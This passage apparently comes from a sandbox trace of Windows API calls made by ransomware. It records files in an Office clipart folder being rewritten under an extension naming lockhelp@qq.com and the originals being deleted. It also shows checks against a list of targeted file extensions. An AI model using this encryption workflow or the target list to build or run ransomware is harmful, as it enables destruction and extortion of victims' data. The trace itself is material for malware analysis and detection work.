lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.754] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0283.754] GetLastError () returned 0x0 [0283.754] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x504a, lpOverlapped=0x0) returned 1 [0284.811] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x5050, lpOverlapped=0x0) returned 1 [0284.812] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.812] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0284.812] SetEndOfFile (hFile=0x404) returned 1 [0284.812] CloseHandle (hObject=0x404) returned 1 [0284.813] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.813] SetEndOfFile (hFile=0x4b4) returned 1 [0284.816] CloseHandle (hObject=0x4b4) returned 1 [0284.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0284.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0284.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.817] lstrlenW (lpString=".doc") returned 4 [0284.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.817] lstrlenW (lpString=".docx") returned 5 [0284.817] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.817] lstrlenW (lpString=".pdf") returned 4 [0284.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.817] lstrlenW (lpString=".xls") returned 4 [0284.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.817] lstrlenW (lpString=".xlsx") returned 5 [0284.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.817] lstrlenW (lpString=".ppt") returned 4 [0284.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.817] lstrlenW (lpString=".zip") returned 4 [0284.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.817] lstrlenW (lpString=".rar") returned 4 [0284.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.817] lstrlenW (lpString=".bz2") returned 4 [0284.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.817] lstrlenW (lpString=".7z") returned 3 [0284.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.817] lstrlenW (lpString=".dbf") returned 4 [0284.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.817] lstrlenW (lpString=".1cd") returned 4 [0284.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.817] lstrlenW (lpString=".jpg") returned 4 [0284.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.818] lstrlenW (lpString=".doc") returned 4 [0284.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.818] lstrlenW (lpString=".docx") returned 5 [0284.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.818] lstrlenW (lpString=".pdf") returned 4 [0284.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.818] lstrlenW (lpString=".xls") returned 4 [0284.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.818] lstrlenW (lpString=".xlsx") returned 5 [0284.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.818] lstrlenW (lpString=".ppt") returned 4 [0284.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.818] lstrlenW (lpString=".zip") returned 4 [0284.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.818] lstrlenW (lpString=".rar") returned 4 [0284.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.818] lstrlenW (lpString=".bz2") returned 4 [0284.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.818] lstrlenW (lpString=".7z") returned 3 [0284.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.818] lstrlenW (lpString=".dbf") returned 4 [0284.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.818] lstrlenW (lpString=".1cd") returned 4 [0284.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0284.818] lstrlenW (lpString=".jpg") returned 4 [0284.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.819] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0284.819] lstrlenW (lpString="BD10972_.GIF") returned 12 [0284.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0284.819] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20189) returned 1 [0284.819] CloseHandle (hObject=0x4b4) returned 1 [0284.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0284.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0284.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0284.820] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.820] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0284.820] GetLastError () returned 0x0 [0284.820] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x4edd, lpOverlapped=0x0) returned 1 [0284.958] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0284.959] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.960] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0284.960] SetEndOfFile (hFile=0x404) returned 1 [0284.960] CloseHandle (hObject=0x404) returned 1 [0284.961] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.961] SetEndOfFile (hFile=0x4b4) returned 1 [0284.989] CloseHandle (hObject=0x4b4) returned 1 [0284.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0284.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0284.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.990] lstrlenW (lpString=".doc") returned 4 [0284.990] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0284.990] lstrlenW (lpString=".docx") returned 5 [0284.990] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0284.990] lstrlenW (lpString=".pdf") returned 4 [0284.990] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0284.990] lstrlenW (lpString=".xls") returned 4 [0284.990] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0284.990] lstrlenW (lpString=".xlsx") returned 5 [0284.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0284.990] lstrlenW (lpString=".ppt") returned 4 [0284.990] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0284.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.990] lstrlenW (lpString=".zip") returned 4 [0284.991] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0284.991] lstrlenW (lpString=".rar") returned 4 [0284.991] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0284.991] lstrlenW (lpString=".bz2") returned 4 [0284.991] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0284.991] lstrlenW (lpString=".7z") returned 3 [0284.991] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0284.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.991] lstrlenW (lpString=".dbf") returned 4 [0284.991] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0284.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.991] lstrlenW (lpString=".1cd") returned 4 [0284.991] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0284.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.991] lstrlenW (lpString=".jpg") returned 4 [0284.991] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0284.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.991] lstrlenW (lpString=".doc") returned 4 [0284.991] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0284.991] lstrlenW (lpString=".docx") returned 5 [0284.991] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0284.991] lstrlenW (lpString=".pdf") returned 4 [0284.991] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0284.991] lstrlenW (lpString=".xls") returned 4 [0284.991] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0284.991] lstrlenW (lpString=".xlsx") returned 5 [0284.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0284.991] lstrlenW (lpString=".ppt") returned 4 [0284.991] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0284.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.991] lstrlenW (lpString=".zip") returned 4 [0284.991] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0284.992] lstrlenW (lpString=".rar") returned 4 [0284.992] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0284.992] lstrlenW (lpString=".bz2") returned 4 [0284.992] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0284.992] lstrlenW (lpString=".7z") returned 3 [0284.992] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0284.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.992] lstrlenW (lpString=".dbf") returned 4 [0284.992] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0284.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.992] lstrlenW (lpString=".1cd") returned 4 [0284.992] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0284.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0284.992] lstrlenW (lpString=".jpg") returned 4 [0284.992] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0284.992] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0284.992] lstrlenW (lpString="BD19827_.WMF") returned 12 [0284.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0284.993] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=9710) returned 1 [0284.993] CloseHandle (hObject=0x4b4) returned 1 [0284.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0284.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0284.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0284.993] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.993] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0284.994] GetLastError () returned 0x0 [0284.994] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x25ee, lpOverlapped=0x0) returned 1 [0285.023] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x25f0, lpOverlapped=0x0) returned 1 [0285.024] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.024] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.024] SetEndOfFile (hFile=0x404) returned 1 [0285.024] CloseHandle (hObject=0x404) returned 1 [0285.025] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.025] SetEndOfFile (hFile=0x4b4) returned 1 [0285.028] CloseHandle (hObject=0x4b4) returned 1 [0285.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0285.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.029] lstrlenW (lpString=".doc") returned 4 [0285.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.029] lstrlenW (lpString=".docx") returned 5 [0285.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.029] lstrlenW (lpString=".pdf") returned 4 [0285.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.029] lstrlenW (lpString=".xls") returned 4 [0285.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.029] lstrlenW (lpString=".xlsx") returned 5 [0285.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.029] lstrlenW (lpString=".ppt") returned 4 [0285.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.030] lstrlenW (lpString=".zip") returned 4 [0285.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.030] lstrlenW (lpString=".rar") returned 4 [0285.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.030] lstrlenW (lpString=".bz2") returned 4 [0285.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.030] lstrlenW (lpString=".7z") returned 3 [0285.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.030] lstrlenW (lpString=".dbf") returned 4 [0285.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.030] lstrlenW (lpString=".1cd") returned 4 [0285.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.030] lstrlenW (lpString=".jpg") returned 4 [0285.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.030] lstrlenW (lpString=".doc") returned 4 [0285.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.030] lstrlenW (lpString=".docx") returned 5 [0285.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.030] lstrlenW (lpString=".pdf") returned 4 [0285.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.030] lstrlenW (lpString=".xls") returned 4 [0285.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.030] lstrlenW (lpString=".xlsx") returned 5 [0285.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.030] lstrlenW (lpString=".ppt") returned 4 [0285.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.031] lstrlenW (lpString=".zip") returned 4 [0285.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.031] lstrlenW (lpString=".rar") returned 4 [0285.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.031] lstrlenW (lpString=".bz2") returned 4 [0285.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.031] lstrlenW (lpString=".7z") returned 3 [0285.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.031] lstrlenW (lpString=".dbf") returned 4 [0285.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.031] lstrlenW (lpString=".1cd") returned 4 [0285.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0285.031] lstrlenW (lpString=".jpg") returned 4 [0285.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.031] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.031] lstrlenW (lpString="BD19986_.WMF") returned 12 [0285.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0285.032] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=14486) returned 1 [0285.032] CloseHandle (hObject=0x4b4) returned 1 [0285.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0285.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0285.032] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.032] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 